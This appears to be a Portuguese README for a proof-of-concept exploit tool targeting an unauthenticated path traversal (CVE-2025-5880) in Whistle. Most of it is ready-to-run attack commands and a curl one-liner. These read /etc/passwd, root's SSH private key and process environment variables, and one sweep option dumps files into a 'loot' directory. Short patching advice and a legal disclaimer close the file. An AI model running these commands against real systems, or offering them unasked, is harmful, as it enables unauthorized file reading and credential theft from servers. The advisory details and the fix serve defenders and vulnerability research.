
Exploit de prova de conceito para uma vulnerabilidade de travessia de caminho não autenticada no Whistle v2.9.98.
Prova de conceito de exploração para uma vulnerabilidade de path traversal não autenticada no Whistle v2.9.98.
| Campo | Detalhe |
|---|---|
| ID CVE | CVE-2025-5880 |
| CWE | CWE-22 (Path Traversal) |
| Software Afetado | Whistle ≤ 2.9.98 |
| Endpoint Afetado | /cgi-bin/sessions/get-temp-file |
| Vetor de Ataque | Rede — nenhuma autenticação necessária |
| Impacto | Leitura arbitrária de arquivos no sistema de arquivos do host |
O parâmetro de consulta filename não é sanitizado antes de ser usado para abrir um arquivo no disco, permitindo que um atacante escape do diretório de arquivos temporários pretendido e leia qualquer arquivo que o processo Whistle tenha permissão para acessar (por exemplo, /etc/passwd, /root/.ssh/id_rsa).
# Clone
git clone https://github.com/YourHandle/CVE-2025-5880
cd CVE-2025-5880
# Sem dependências externas
python3 CVE-2025-5880.py -u http://TARGET:8899 --preset passwd
python3 CVE-2025-5880.py [-h] -u URL [-f FILE] [--preset PRESET]
[--sweep] [-o OUTPUT] [--save-dir DIR]
[--timeout N]
# Ler /etc/passwd
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --preset passwd
# Obter a chave privada SSH do root
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --preset id_rsa -o id_rsa.pem
# Ler um caminho arbitrário
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 -f /proc/self/environ
# Varrer e salvar todos os presets
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --sweep --save-dir ./loot

# /etc/passwd
curl -s "http://TARGET:8899/cgi-bin/sessions/get-temp-file?filename=/etc/passwd" | jq -r '.value'
Atualize o Whistle para uma versão que valide e restrinja o parâmetro filename ao diretório de arquivos temporários pretendido. Aplique normalização de caminho com lista de permissões (ex.: path.resolve + verificação de prefixo) no lado do servidor.
Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais.
O uso não autorizado contra sistemas que você não possui ou não tem permissão explícita para testar é ilegal e antiético.
O autor não assume nenhuma responsabilidade pelo uso indevido.
| Opção | Descrição |
|---|
-u / --url | URL base do alvo (ex.: http://192.168.1.10:8899) |
-f / --file | Caminho de arquivo arbitrário para ler |
--preset | Atalho nomeado: passwd shadow hosts id_rsa … |
--sweep | Percorrer todos os presets automaticamente |
-o / --output | Salvar resultado em um arquivo |
--save-dir | Diretório para despejar os achados do --sweep |
--timeout | Timeout HTTP em segundos (padrão 10) |